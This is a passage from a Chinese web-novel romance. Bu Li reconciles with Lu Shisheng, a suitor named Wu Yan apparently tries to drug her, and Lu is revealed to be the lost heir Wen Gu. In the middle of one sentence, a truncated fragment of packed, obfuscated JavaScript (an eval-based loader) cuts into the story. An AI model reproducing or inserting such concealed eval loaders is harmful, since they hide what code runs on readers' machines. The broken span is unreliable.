步梨实在忍无可忍,她把酒杯往桌上一砸,“第一,他就是我朋友,第二,你们别以为自己有钱就看不起别人,赖依依,你自己的小情人犯了胃病,你不去买胃药,让别人去,还嫌弃他回来的晚,他又不是你找的快递员,你有什么资格?” 步梨心里一直窝着火,赖依依熊雯这些人跟她是十几年的朋友了,这些人平时就爱吃喝玩乐,一群人在一起爱谈八卦,有的话难免说得没轻没重,但从来没啥坏心思,现在他们这些话难听,却也是真心实意怕她被骗,所以步梨不愿意听,但也控制着情绪没发火。 她现在其实也有点迷茫,不知道陆时生这次来找她是要跟她复合,还是他想来江北谋生,需要她的帮助,所以单纯地来与她缓和一下关系。 她不知道陆时生是什么意思,也看不清自己的内心。 若陆时生只想利用她,她又要如何对他? 步梨心里烦闷,多喝了两口酒,抬眼时,隐隐见到门口有人站着。 陆时生和温礼在门口站了一会儿,屋子人的谈论声清清楚楚地尽数传进了耳朵里。 温礼目光浅浅地瞥过来,笑了他一句,“你这个小白脸不好当啊。” 陆时生没回头,推开门前平静地说了一句:“当人家的养子也不容易吧。” 温礼脸一黑,正要开口说什么,陆时生已经推门进了屋。 52. 喜欢你,非常喜欢 见人回来了,赖依依忙止住刚才的话题,朝陆时生和温礼招了招手。 步梨旁边留了个空位,陆时生缓缓走过去坐下。步梨悄悄观察过了,他走过来时步伐流畅,应该没什么事,这才放心地吐了口气。 酒过三巡,步梨吃了不少东西,也喝了不少,到后面实在喝不下,不太想继续待在这儿,便拉着陆时生提前离了场。 她喝了酒没法开车,便让陆时生当司机,她坐在副驾驶。 陆时生打开了空调,暖气呼呼地吹出来,没过一会儿,车里便暖烘烘的。 “怎么喝了这么多酒?”陆时生低声怨了一句,“步梨,你家在哪?” 步梨脑子晕乎乎的,听音也听不清,声音放大了几倍问:“你不是知道吗?” “忘了。” “那送完我,你怎么回去?” “打车。” 步梨窝在座位上,长长叹了口气,“不能随便告诉别人家庭住址。” 满车都是酒气,陆时生耐着性子问:“那我怎么送你回去?” 步梨扭过身望着窗外,给他一个后脑勺,“不回去了,反正不能说。” 陆时生问:“你要在这儿睡?” 他在耳边不停聒噪,步梨恼了,睁开眼皱着眉道:“我的车,我为什么不能在这儿睡?” 一句话让陆时生闭了嘴。 步梨垂手按下按钮,座椅的靠背缓缓下降,直到一个适合躺着的角度。步梨缩了缩身子,安详闭眼,真一副要在这里过夜的打算。 陆时生无语地扶了扶额头,下车去药店买解酒药。 回来时,步梨躺在座椅上,黑亮的头发随意散下来。陆时生探身过去,把座椅又调回了正常的角度。 步梨的脸颊靠近,酒气混杂着淡淡的柠檬香沁入鼻腔,陆时生不经意地扭过头,与步梨的距离近在咫尺。 她闭着眼,浓密的睫毛覆在眼上,轻轻颤了两下,她呼吸均匀,似乎已经睡着了, 陆时生目光触及,不禁伸手想去触碰她微微泛红的脸颊。 如果不顾及第二天的后果的话,他真的想和步梨在这里待一整夜。 没等他开口,步梨便缓缓睁了眼,她往前伸了伸脖子,在他左边的耳垂上轻轻吹了口气。 停了两秒后,又吹了一口。 “你这里有颗痣。” 温热的气息弥漫,小小的一口气,陆时生炸了。 他浑身血液沸腾,步梨来了句,“刚才还以为是黑点点。” 陆时生:“......” 还用叠词...... 他还没说什么,步梨在他右眼下方又轻轻哈了口气,笑着道:“这也有一颗。” 陆时生眼皮跳了跳。 这次绝对是故意的。 如此胆大包天。 他又气又无奈,热气在体内翻涌,堵在胸口的位置,难受得很,想起从前二人拥吻时,步梨最喜欢亲他这个泪痣,心里又觉得寒凉。 步梨双眼微微眯着,目光迷离,没有聚焦处,也不知是不是在梦游。 陆时生僵了一会儿,轻声将她唤醒,哄着她吃了两片解酒药。 步梨吃完药酒没再睡,见街边有烤红薯的小摊,就开始吵着要吃烤红薯。 陆时生下车去买,回来时,车里竟然没人了。 他瞬间心慌,四下去望,见到步梨从一家便利店里出来,走路晃晃悠悠的,过马路的时候也不看车。 陆时生慌忙跑过去拉住她,步梨打了个哈欠,觉得他大惊小怪,朝他做了个鬼脸,自顾自转身回了车里。 这次陆时生坐上车时,她已经在座位上坐好了,坐得很板正,见陆时生愣着,还不耐烦地催促了句,“开车呀,我给你指路。” “你刚刚去买什么了?”陆时生问,又提醒道,“系好安全带。” 步梨没什么反应。 陆时生没了耐心,自己探身过去给她系上,两人贴的近,步梨一双黑亮的眼睛看着他,趁机亲了他一口,位置正好在他右眼下的黑痣。 陆时生愣在原处。 “你......原谅我了吗?” 步梨直愣愣地看着他,眸子里泛着清冷的光,一本正经地描述方才的感受,“有点凉。” 陆时生与她目光相碰,香软的气息在耳边唇侧作乱,他屏住呼吸,压抑着躁动的心脏,低声问:“那我可以重新追你了吗?” 步梨点点头,“可以。” 说罢,对着他的脸颊又亲了一口。 “但我头有点晕,沈思筝说我喝醉的时候喜欢说胡话,所以我说的话很多都不作数。”步梨语气平静且无情。 陆时生担心她这是酒后乱.性,强调道:“你得对你今日的行为负责。” 步梨往后缩了缩,腾出一点空间来,伸手在口袋里套了套,从钱包里掏出一沓钱来,“够吗?” 陆时生:“......” 他不客气地接过钱,“我没那么贵,这么多钱,能买更多的东西。” 他直接朝那双红润香软的嘴唇咬了上去,同时,胸膛处感受到一个硬物,他低头,见到一把银色的剪刀,闪着冷冽的锋芒。 陆时生满腔热血瞬时凉了几分,老实坐回来时,只听到咔嚓一声,步梨将自己的头发剪下来了一缕,攥在手里比了比长度,然后扔到了一边,又要开始去剪第二缕。 “步梨,你干嘛呢?”陆时生惊讶问道。 步梨扬了扬她方才从便利店买来的剪刀,“剪头发。” “剪头发干嘛?” 步梨几下将头发减去了大半,从前快及腰的长发,现在被她无情地剪掉,只到肩膀处。步梨转过头,认真地问:“和照片上像吗?” 陆时生怔愣了片刻,明白了她的意思。 她是看到他偷偷存着她高中时期的照片,以为他喜欢短发,所以才这样做的吗? 步梨一双清亮地双眼蒙上了一层水汽,眼角泛着红,小声地问了句,“你之前说不喜欢我,那这样呢?” 她靠近,垂下眼,怯声地问:“你会喜欢吗?” 陆时生心里泛起一阵酸涩,他伸手,轻轻抚摸着她的脸颊,“步梨,是我配不上你,但我喜欢你,非常喜欢。” 后脖颈处,还有被遗漏掉的长发,在步梨低头的时候垂了下来,步梨发现后,有些苦闷,陆时生走下车,绕到步梨那边,将她的车门打开,“把剪刀给我,我帮你修剪一下。” 步梨将剪刀交给他,乖乖转过身让他剪。 门开着,风吹过来,一冷一热,步梨一时不好适应,哆嗦了一下。雪夜温度低,她只穿了件毛呢大衣,很薄。 陆时生把自己的棉衣外套脱下来披在她身上,迅速帮她修剪好了后面的头发。 及腰长发就这样变成了齐肩短发。 陆时生觉得自己手艺还行,经他这么一番修剪,但愿步梨明天早上醒过来应该不至于懊悔至极。 * 次日,步梨睡到将近中午才起。 头还在隐隐作痛,像是里面藏了块磁铁,被吸在床上难以起身。 得亏是周末,她在床上翻来覆去打了几个滚才起来。 昨天是怎么回来的也不记得了,步梨揉了揉脑袋,蹑手蹑脚地起身,开门前先将耳朵抵在门口听了半晌,确定外面没什么动静才推门出去。 要是让宋涵云女士知道她昨天喝了那么多酒,又得是一场风暴。 “步梨。” 声音是从餐厅传来的。 步梨站住脚,身子颤了颤,果然,她爸妈和外婆都在,三个人整整齐齐的目光黑压压地盖过来。 宋涵云黑着脸,喊的是她的大名。 “这都几点了,赶紧过来吃饭。” 步梨露出一个乖巧的笑容,走过去坐在桌前。 她胃里还在反酸水,看着一桌的早饭,一点儿食欲都没有。 刚坐下,宋涵云就忽然转了态度,露出一个温柔的笑容来,“香瓜啊,昨天晚上送你回来的是谁啊?” 步梨嗓子一噎,努力回忆着昨天晚上的情景,敷衍道:“就一朋友。” 宋涵云笑眯眯道:“男朋友?” 谢兰珍道:“那小伙子挺精神,我远远地看了一眼,就觉得面善。” 这次,她们母女俩达成了一致,只有旁边的步正荣不太开心,“香瓜啊,你一个姑娘家家的,怎么能和男人单独待到那么晚,还喝得醉醺醺的,像什么样子?!” 步梨道:“我没和他单独待着,就和熊雯赖依依他们一块出去聚了聚,喝了点酒没法开车,他就送我回来了。” 步正荣不悦:“那怎么不找个代驾?” 步梨道:“代驾哪有朋友靠谱?还得另花钱!” 步正华恨铁不成钢,“你是缺那点钱了?” 谈到这个,步梨脑子里忽然闪过昨天她给陆时生钱的情景,厚厚的一叠,比代驾还破费。 等一下,她为什么要给陆时生钱来着? 步梨脸上一阵红一阵白,昨晚的回忆涌现出来,不堪回首。 宋涵云帮着打圆场,“诶呀,你凶闺女干什么呢,人家朋友给送回家,有什么不行的?再说了,你那个猫爬架搭了好几天了都没搭好,还不是人家小陆帮你,人家一来,半小时的功夫就弄好了。” 步梨震惊,都称呼人小陆了吗...... “陆时生还留在家干活了?” 宋涵云笑着点头。 谢兰珍笑眯眯地放下碗筷,开始听收音机。 步梨皱眉,“外婆的收音机不是坏了吗?” 谢兰珍喜悦地笑笑:“昨天修好啦。” 步梨:“陆时生修的?” 谢兰珍炫耀似的换了个频道,“这回不用换新的了。” “香瓜,那小伙子是谁啊,怎么从前没见过啊?昨天第一次见面,我也没好意思问。”宋涵云开始查户口。 谢兰珍年纪大了,记性却依旧好使,“我怎么感觉有点眼熟呢?是不是你画本上的那个啊?” 宋涵云:“画本?妈,什么画本?” 谢兰珍笑着和宋涵云对视一眼,“我在香瓜的画本上见过她画的一个小伙子,和昨晚那个可像了,香瓜,是不是花溪镇那个?” 步梨羞涩地笑了笑。 宋涵云惊讶:“花溪镇?” 想着话都说到这个份上了,不如趁机探探他们的态度,“是我在花溪镇交的朋友,他现在来这边找工作,目前打算当个家庭教师,想让我帮他找找门路,爸妈,你们要有认识的叔叔阿姨,家里需要家教的,也帮着介绍介绍呗。” “哦,行,”宋涵云笑容明显收敛不少,“也就是说,他现在还没工作?” “有,在送快递。”步梨如实道。 宋涵云挤出一个笑容来,“那他是哪个大学毕业的?” 步梨认真道:“没上过大学,高中毕业吧,好像也不是,不知道他高中读没读完,我没仔细问过。” 宋涵云犹豫了会儿,“这样啊。” 步梨不满道:“妈,你什么态度啊,他是因为家里的原因才没上大学的,他本人还是挺聪明的。” 宋涵云笑了笑,“妈没有不答应啊,我帮着找找就是了,你改天把他也叫家里来坐坐,要是人不错能力也强,妈帮忙的时候也放心。” 步梨想了想,点头,“行。” “对了香瓜,你这头发在哪剪的?”谢兰珍问。 “啊?”步梨不明所以,这才发现她胸前空空的,她留了三年的长头发呢? ! 对了,她昨天自己把头发剪了! “没办卡吧,下次别去那了。”宋涵云嫌弃道,“剪得很一般。” 步梨匆忙吃了两口饭,就上了楼,火速跑到梳妆台前。 她怔愣了好一会儿,看着肩膀处狗啃一般的头发,想死的心都有了! 该死,她昨天晚上到底做了什么?! 步梨有点想拉黑陆时生了。 ... 步梨去了附近的理发店,头发被修剪整齐了一些,她还是不能接受自己留了多年的长发一夜之间不知去向的事实。 从理发店出来,寒风刺骨,步梨匆匆钻进车里。 正要发动车子,脚下好像踩到一个瓶子,步梨弯腰去够,捡起来一个白色的药瓶,是一罐布洛芬片,止疼的,她很少痛经,不会吃这个。 应该是陆时生买来治腿疼的。 还说自己腿没事,步梨吐了口气,这下她大周末地还要去给人送药过去。 步梨将药揣进兜儿里,让陆时生发了个定位,是个快递站,步梨开车过去时,陆时生刚分拣完快递,现在在给刘俊龙辅导作业。 步梨把车停在了路边,走进快递站,没找到陆时生人,只有一个年轻的小伙子坐在角落里玩手机。 “陆时生在这吗?”她走进去问。 罗新抬起头问:“你是找小陆寄快递吗?” 他往屋里喊了一句,“小陆,又来了一位——” 步梨:“......?” 什么叫“又”? 步梨问:“来找他寄快递的人很多?” “不太多,就固定三四五六个人吧。”罗新掰着手指头数了起来,步梨看着他手指头一个个伸出来,有点头疼。 陆时生从屋里走出来,罗新急忙道:“小陆,她要寄快递。” 陆时生看到步梨,说道:“她不是来寄快递的。” 罗新:“啊?” 步梨把止疼药从兜里掏出来,“你的?” “哦......”陆时生支唔一句,“不用,不疼了。” “总吃这个也不是办法,改天我帮你找个专家好好看看。” 陆时生从兜里掏出一沓钱来还给她。 “你的。” 步梨尴尬地笑了笑,将钱收起来放好,装作无事发生,“你一会儿有事吗?” 罗新在一边目瞪口呆了半天,这会儿很有眼力见地走过来,“小陆,你去呗,今天件也不多,交给我就行了。” “改天记得请我吃饭。” 他将陆时生推了出去。 车子启动,步梨一路开到了目的地,江北市第一中学。 今天周末,学校里没有人,步梨和门口的保安大爷认识,她从后备箱拿了盒茶,没谈几句,保安大爷便笑呵呵地放了他们进去。 陆时生走过的时候,大爷忽然眼前一亮,将他喊住,“诶?小伙子,是你啊?” 陆时生停住脚,“您认识我?” 步梨惊喜:“大爷,您认识他?” 大爷笑了笑:“当然!这小子上学那会儿经常迟到早退,翻墙出去玩被我抓到好几次!” 步梨转头对陆时生道:“太好了,看来这就是你的学校!” “大爷,那你记得他叫什么吗,是叫周平吗?” 大爷挠了挠头,“这我哪记得?这回你可别翻墙了啊。” “肯定不会了。”陆时生应了句。 校园里很安静,刚下过雪,好多地方的雪都没有除,白茫茫一片,风把地上的雪粒卷起,迎面吹过来,又冰又疼。 步梨缩了缩脖子,“要不去室内转转?” 陆时生点头,“嗯。” 步梨带他来了江北一中最富丽堂皇的地方,礼堂。 长长的走廊里,干净的大理石瓷砖一尘不染,像是画展的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆时生站起身,走到步梨面前,低声道:“我想找到我父亲,他叫周建国。” 他方才想到,既然他是在江北上的高中,那说明很早以前,他和父亲就搬了过来,所以周建国会不会还在江北? 步梨看着他,目光坚定,“我帮你。” 陆时生动容,他伸手去抱步梨,步梨没反抗,陆时生便抱得更紧了些,他贴在她耳边,轻声地问:“步梨,你还记不记得我昨天和你说的?” 步梨在回忆,陆时生没等她想,他本就想将这些话对她说上一千遍一万遍,“我此生最后悔的事,就是对你说了假话,其实,我真的非常非常喜欢你。” “我......”步梨握了握拳,她踩过荆棘了,不过如此,她不怕再踩一次。 经历了无数次的纠结与挣扎,还有她几次情不自禁,难以控制自己的身体,她看清了自己的内心,现在决定再次鼓起勇气。 “陆时生,我也喜欢你。” “昨天我那些朋友说的话,你会介意吗?”步梨抿了抿嘴,没再逃避两人之间的问题,“我们在一起,难免听到这样的议论。” 陆时生目光垂下来,“步梨,只要你愿意,这次,我死都不会离开你。” 他眉眼深邃,双眸隐匿在光影里,眼底像遥远的夜空。 “你可想好了,我是一个不知道自己身世的人,你今日答应了我,若将来面前是刀山火海,无间地狱,你也没法反悔。” 陆时生伸出右手去握住步梨的手,他掌心温热,从轻轻触碰,到紧紧地将她的五指攥住,似是祈求一般的挽留,又似是下定了决定,绝不放手。 “我没想好!”步梨将他一把推开,“说得这么可怕,我才不下地狱!” “不管你是陆时生,还是周平,我喜欢的人是乐观积极,正直勇敢的人,若是有一天,你变成一个胆小鬼,事事逃避的懦夫,或者罪犯,我会毫不犹豫地离开你!” 她转身走下台,在第一排的观众席坐下来。 陆时生默了一会儿,也走下来,坐在她旁边。 步梨问道:“昨天你见过我妈了?” “嗯。” “她早上还问我来着。” “她说什么?”陆时生有点紧张。 “没什么啊,我说你是我朋友,又不是男朋友,她就没问什么,不过我和她说,让她帮你找找工作,她答应了。” 陆时生从兜里掏了一张银行卡交到步梨手上,“这是我的工资卡,我赚的钱都放在这里面,交给你保管。” “不要。”步梨还回去。 陆时生低声道:“步梨,算我求你。” 步梨看向他,过了会儿,默默点头。 两人沉默。 步梨将目光转向舞台,方才陆时生弹琴时的样子在眼前浮现,步梨动容,缓声开口:“其实,我毕业那年没能上台表演。” “我当时很想上台,但练了好多遍,还是没有其他人跳得好,所以最终没被选上。” 她高中时一度挺自卑的,成绩平平,也没有什么出挑的地方。 从高一到高三都没有站上过光鲜的颁奖台,不仅脑子不好使,四肢也不协调,一支舞她明明练了几百次,就是没有其他人跳得好。 她语气原是失望的,陆时生却笑了笑,“所以,你这支舞的最终成果,只有我看到了。” 步梨叹了口气,“不好意思,让你的绝妙动听的钢琴曲,配了一支平平无奇的舞蹈。” “所以......江北市“韶光”绘画大赛一等奖的人,在这里和我说自己平平无奇?” 步梨惊喜,“你怎么知道的?” “走廊里有你得奖的画,我拍下来了。”陆时生拿出手机给她看,照片里是步梨高中时的得奖作品,右下方标注着得奖者的名字:步梨。 满墙的照片里,陆时生一眼便看到了这个名字。 “你什么时候看到的?”步梨不可置信。 陆时生总是让她莫名奇妙地想起一个人。她能够坚定地画画,其实和那个人有关。 那是第一个喜欢她的画的人。 明明不太熟悉,只是间接的不曾见过面的来往,她却能够铭记于心。 这种珍贵的认可不常有,所以她喜欢,并会牢牢记住那种感觉。 只可惜那个人不在了,现在步梨也长大了,不再执着于获得旁人的认可。 只是,在陆时生带给她同样感觉的时候,那些幼稚青涩的时光会一同涌入脑海,唤起她身体里本能的渴望。 手机铃声在这时响起,打破了厅堂里的宁静。 来电显示是吴延打来的电话。 “步梨,晚上有空吗?一块吃饭去不去?”电话那头的人声音亢奋。 步梨不解,“为什么突然吃饭?” “上次你不是说要请我吗?”吴延笑了笑,“哈哈开个玩笑,我是想聊一聊项目的事情,今天在家突然有了新想法,所以想找你们聊一聊,我刚刚已经喊了小李老师,他已经答应了。” 步梨闻言,只能无奈答应,“好吧,那晚上见。” “不见不散。” 吴延挂断了电话。 步梨和陆时生离得近,方才的对话陆时生基本上都听到了,他看过来,问:“晚上有事?” “嗯,你听到了啊,是吴延,上次你也见过,他要和我聊项目上的事,算是加班。” 陆时生道:“不想去怎么不拒绝?” “小李老师都答应了,我不答应不太好吧,”步梨瞥见陆时生阴沉的脸色,歪着头道,“谁说我不想去,我也很上心这个项目的,你要不要一块去?” “不了,”陆时生拒绝道,“我晚上要去上班,酒吧。” ...... 53. 温先生,好久不见 下午,陆时生回了快递站,干完活后,在附近的小餐馆简单吃了点晚饭,然后去了酒吧。 今日在江北市一中,他脑子里涌现出的记忆片段似乎一直在刺激脑中的某处神经,再加上酒吧里人声嘈杂,陆时生觉得胸口烦闷,头疼难忍,正想出去透口气,目光忽然瞥到一个熟悉的身影。 竟然是刘默。 陆时生看过去,坐在刘默对面的人,他也有点面熟,好像是上次在江大和步梨在一块的男人,叫吴延。 他不是晚上要和步梨去谈工作吗?怎么现在出现在这儿? 他和刘默怎么也有交集? 陆时生侧过身,避开刘默的目光,从后面的员工通道走了出去。 四周静下来,空气也清新了几分,陆时生揉着隐隐作痛的头,想到步梨晚上要和吴延谈项目的事,他知道自己不该小心眼打扰步梨的正事,但不知怎的,他心里总是觉得不安。 “陆时生?果然是你啊。” 角落里传来一阵阴森的笑。 刘默从阴影里走出来,脸上的笑容狰狞,陆时生冷淡的目光看过去,刘默看着他一双清冷但勾人的眼睛,笑了笑,“别来无恙啊,小陆。” 陆时生不想与他多言,瞥了他一眼便敛了目光,转身要走。 “老熟人见面,不说两句话就走了?”刘默一步跨过去挡住他的去路,轻佻道,“陆时生,你这张脸怎么还是这个样子,惯会勾引人的,就是好像瘦了点,看你这脸色惨白惨白的,是不舒服?” 他抬手要摸上来,陆时生嫌恶地躲开,“咱俩好像没什么可说的,我先走了。” 刘默一脸被扫了兴致的失望,“怎么没话可说,你上次不是说,什么都听我的吗?说完了就不见人影,我可是找了你好多天。” 陆时生轻笑一声,“不好意思,我从没说过要听你的。” “呦呵,”刘默挑了挑眉,“果然人不可貌相,没想到你也是个言而无信之人,不过我更喜欢了。” 陆时生将他的手甩开,“你若是再纠缠下去,是觉得我不敢报警吗?” 刘默不屑地笑了声,“我觉得我会怕?” 话毕,居然真的有警声响起,刘默还以为自己耳鸣了,仔细听了两声,他双腿一软,指着陆时生骂了两句,便匆匆跑了。 陆时生松了口气,在外面站了会儿,忽然觉得不对劲,刘默这么害怕警笛声,难道还有其他的事? 他匆忙跟过去,一路到了酒吧的前门。 门口已经围了不少人,有警车停在门口,警灯在夜里闪得耀眼,陆时生走上前,刚好看到两名警察将一个犯人押送到了警车上,被押着的人正是刘默。 陆时生问旁边的于美芝,“于姐,这是怎么了?” 于美芝朝着刘默被带走的方向狠狠呸了一声,“晦气!真是晦气!那是个du贩!” 陆时生惊讶,“什么?” 于美芝双手叉着腰,义愤填膺道:“我最烦用这种下三滥手段的人了!竟然用叫什么来着,羟基什么酸,就是失忆水,骗小姑娘!你说气人不气人,现在咱酒吧的生意都受影响了,我还要被叫去配合调查......” 于美芝正说到气头上,转头才发现身边的人不知道什么时候不见了。 陆时生疯狂冲进酒吧大厅,方才刘默和吴延坐的位置已经空无一人,他急忙给步梨打了电话过去。 电话响了两声,接通了。 “步梨,你在哪?” “在一家会所啊,你不是知道我要和人吃饭吗?”步梨的声音传过来,陆时生的心才放下些许。 “给我发一下地址,我去找你。” 步梨听陆时生的声音很是匆忙,她不解,但还是说了会所的位置。 “你要来?不过这里要会员才能进,你要是到了,我可以去接你。” “你自己在?” “没有,吴延去门外接小李了。” 陆时生叮嘱道:“你先别喝水,也别吃东西。” 他挂了电话,但愿自己想多了。 会所的位置就在酒吧附近,吴延肯定也刚到没多久,陆时生借了辆电动车,立刻动身过去。 ... 晚上谈事的地方在一个私人会所,进来要会员制,吴延说他就是想找一个安静的地方,所以便选了这。 步梨和陆时生通话后,一时不能理解他那番话是什么意思。 不让喝水,也不让吃东西,难不成是怕她被人下药不成? 这虽然是私人会所,位置隐秘,但也不是什么不正经的地方,服务员都认识步梨的,而且又不是她和吴延单独聊天,还有小李呢。 步梨正想着,吴延走了进来。 见只有他一个人,步梨问:“小李呢?” 吴延叹了口气,抱怨:“说临时有事,不来了,这个小李真不靠谱!” 步梨起了戒备心,“反正菜都没上,那要不我们换一天吧。” 吴延拉住她,“来都来了,不如一块吃个饭再走,菜我都已经点好了。” 步梨惊讶,“你什么时候点了菜?” 吴延笑:“来之前,我都订好了。” 步梨只得坐下,“不是说要我请客的,你怎么都点好了?” “哪能真让你请?”吴延说完,喊了服务员上菜。 步梨想起陆时生的话,没着急动筷子,吴延有所察觉,关切地问:“不合胃口?” 步梨寻了个理由,“不是,就是胃突然有点不舒服。” “那喝点这个汤,是养胃的。”吴延亲自给步梨盛了一碗,步梨端起来闻了闻,就是普通的汤,她假意喝了一口,实则只用嘴唇都没沾到水面,抬头时,看见吴延自己也喝了两口,放下碗后,他先动了筷子。 “好点了吗,再尝尝这个。” “嗯,多谢。” 步梨轻轻点了下头,抬眼,见吴延脸上带着和善的笑,一点儿也不像会给人下药的人,她刚刚冒出那种想法,倒觉得自己有些龌龊不堪了。 步梨渐渐放下戒备心,她喝了口汤,味道确实不错,很鲜美。 身后似有开门的声音,步梨以为是服务员,没想到是陆时生闯了进来。 “步梨,不是不让你吃这里的东西吗?” “你怎么进来的?”步梨惊讶。 陆时生抓住她的胳膊,要带着她离开。 “你是谁?”吴延站起身,怒声质问。 陆时生冷冷开口,“步梨的男朋友。” 吴延嗤笑一声,拉住步梨的胳膊,“步梨什么时候有你这么蛮横的男朋友,我看是你一厢情愿吧,诶?我看你有点面熟,你不是那个送快递的吗?” 他眼神里的鄙夷掩都掩不住。 陆时生瞪着他,咬牙道:“放开她。” 吴延不甘示弱,“凭什么?是你贸然闯进来的,该你放开她。” 步梨被他们两个人拽得一会儿往前一步一会儿往后一步,踉踉跄跄了两下,很快失了耐心,将两人全都甩开,“放开我,有话不能好好说吗?” 陆时生见她疼了,匆忙放手。 吴延以为他败下阵来,这才得意地放开手。 陆时生向步梨解释:“刚刚我看见他在酒吧了,和一个DU贩在一块,我担心你,这才过来。” 吴延气愤地握起了拳头,“你怀疑我?有证据吗?” “你到底是送快递的,还是酒吧的服务员?这地方什么人都能进来了吗?” 他说完,将香槟倒满,拿起酒杯一饮而尽,“怎么样?还怀疑我?” 步梨摆了摆手,解释道:“不是,应该是误会。” 陆时生拿起步梨的杯子,“用这个喝。” 吴延瞳孔微缩,半天未动。 从他的表情,陆时生已经了然,他庆幸之余,心尚有余悸,他恨得牙痒痒,目光里像是燃了一团烈火,要将吴延烧成灰烬。 吴延勾唇讥笑,“你让我喝,我就要喝吗?” 陆时生轻笑一声,“所以,承认了?” “你他妈胡说八道什么!”吴延羞愤难当,眼中闪过一丝不可察觉的阴冷。 步梨夹在两人中间也很难受,她拉住陆时生的胳膊说:“别说了,我们先走吧,吴延,不管你有没有做,这次就算了,有件事我也正好借此和你说清楚,陆时生...是我男朋友。” 吴延不可置信,“步梨,你怎么能找一个快递员?这种低贱的人,惯会花言巧语,他不过就是要图你的钱,你别被他骗了!” 步梨道:“没有,我相信他。” “真是可笑!”吴延脸上早已失了和善的笑,换做满脸狰狞,“你这样的小白脸我见得多了,靠着一张会哄人的嘴得意一时,最后不会有什么好下场!” 陆时生看着他,不禁出言讥讽,“看你打扮得一表人才,谈吐不凡,原来不过是装出来的衣冠禽兽,追人不成,竟然用如此下作的手段,不觉得羞耻吗?” 他转身,拉着步梨要走。 吴延紧紧握着的拳头发出骨头碰撞的响声。 陆时生的手碰到步梨的那一刻,他整个人被彻底点燃,抄起桌上的酒瓶,狠狠朝着陆时生的头部砸了过去。 砰地一声。 酒瓶碎裂,透明的香槟酒混着红色的液体滴落下来。 步梨惊声回头,满地碎裂的玻璃片和洒落下来的酒水,除此以外,还有红色的血液。 她缓缓抬头,目光都有些颤抖。 红色的液体从额头顺着脸颊流下来,陆时生笑了笑,就像没有知觉一样,神色异常平静,他看向吴延,目光阴冷得吓人,“就这点本事?” 吴延一把抓住陆时生的衣领,“那你有什么本事,不如让我领教一下。” 步梨也顾不得别的,使劲儿将两人拉开不成,便匆忙地去喊服务员。 门外的服务员听到声音,慌忙跑了过来。 陆时生一脚踢在了吴延肚子上,他这一脚没用全力,吴延却往后大退几步,狠狠撞在了柜子上。 吴延感觉五脏六腑都快要被撞出来了,再看这陆时生看着瘦,力气却不小,他没敢再上前,大声地喊了服务员。 “怎么回事!现在你们是什么人都往里放吗?” 受惊的服务员急忙跑着去找来了经理,曾磊匆匆走进门,见地面一片狼藉,保持冷静地处理,“不好意思,吴先生,温先生自己进来的,他是我们这里的高级会员,我们没法儿拦。” “温先生?”吴延愤怒至极,“哪来的温先生?” 曾磊朝陆时生抱歉地鞠了一躬,“温先生,实在抱歉,我派人送您去医院。” 吴延觉得可笑,“有没有搞错?他叫陆时生。” 步梨也觉得奇怪,“你为什么叫他温先生?他叫温......什么?” 曾磊恭敬说道:“客人进门时,我们系统里就会有显示的,这位是温故,温先生。” 步梨瞠目,“是不是弄错了?” 曾磊淡定回答:“我们系统的人脸识别应该不会弄错的。” 不仅仅是步梨,连吴延也傻了眼,整个人僵在原地。 他虽没见过温故,但谁没听说过温家? 可温故不是死了吗?现在温家的儿子,是温宋元后来带回来的私生子。 他回过神来,眼前的人已经走了。 曾磊亲自开车,将陆时生送去医院。 步梨和陆时生坐在后座,陆时生垂着眼,步梨也垂着眼,一路无话。 到了医院,陆时生在诊室包扎伤口,步梨心里五味杂陈,她在外面站了会儿,转身去了五楼。 电梯里有很 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步梨怔愣地看着空无一人的房间,大脑有些短路。 “请问找谁?”路过的护士问。 步梨问:“住在这个病房的病人呢?” 护士犹豫片刻,“您是问温老爷子吗?” 步梨重重点头。 护士眼底浮起抱歉,“今天下午就走了。” “走了?”步梨心头揪了一下,将不好的想法极力压下,“什么意思?” “请节哀。”护士没多说。 步梨心头宛若被重重砸了一下,她抬脚走进病房。 病房被收拾得干干净净,床单很新,像是刚换的,杯子也叠得整整齐齐,上面没有一丝褶皱。 这房间干净得刺眼,步梨呆呆地望了好久,眼底微微泛着酸楚。 “步梨?”陆时生喊了她一声。 步梨没反应,蓦地掏出手机,给沈思筝拨了电话过去。 电话响了好几声,在步梨失了耐心正要挂掉的时候接通了。 步梨急忙重新将手机放到耳边,没头没尾地问:“思筝,你在花溪镇真的看到陆时生了吗?你见到他时他什么样?是不是戴了口罩?” 她此刻竟然希望在陆时生不是温故,随即又觉得这种想法该死。 沈思筝的声音有些疲惫,“那个木工?我见过啊,没戴口罩,梨子,你们不是分手了吗?他配不上你,你怎么还在想他?” 步梨道:“我没想他,我只是想确认一件事。” “梨子,我现在有点事,改天再听你说这些,温故的爷爷今天下午去世了,我挺伤心的,虽然我没见过他几面,但他是个很慈祥的爷爷,我小时候去温故家里玩,他还给我讲过故事。” “梨子,我得过去献花了,先挂了。” 步梨嗯了声,“你去吧。” 说完,却又问:“对了,你见到的陆时生是什么样?” “啊?”沈思筝觉得她反常。 “算了,挂了。”步梨按了挂断。 兴许是会所的人脸识别系统出错了吧,她在心里念叨。 陆时生静静看着她,从方才的话语,他知道步梨是在确认他的身份,陆时生说道:“应该是误会,我叫周平,身份证上写的。” 他开始在衣兜里找那张身份证。 步梨拉住他的手让他停下,眼底忽然翻涌起一阵温热,眼泪止不住地流出来, “你是他。” 她此刻很确定。 陆时生睫毛轻颤,“你说......温故?” 这个名字很陌生,他在心底轻念了一遍,陌生,却又带着一种异样的感觉。 步梨失了力气一般垂下手,她不想看那张身份证写的什么名字,也不用看。 陆时生拿纸巾帮她轻轻拭去眼角的泪,他的脸色因为失血过多,显得惨白,目光深沉且平静,“所以......能告诉我吗?” 他瘦得像是一棵枯树,手上还有玻璃碎片留下的伤。 因为不知道发生了什么,所以他表情里没有痛苦,甚至在冷静地安慰她。 步梨不敢去看他。 她将目光转向病床。 温爷爷好像还坐在那里,认真地描绘她带来的画本。 步梨走近一步,想要去拍拍他的背。 温爷爷,我带着温故来看望您了。 可是来晚了一步,你会恨我吗? 她小声地抽泣,忽然觉得世间可笑。该怎么告诉陆时生,他的爷爷曾经住在这里,每天盼着他能回来。 只差一天。 要是再多一天,一天就好。 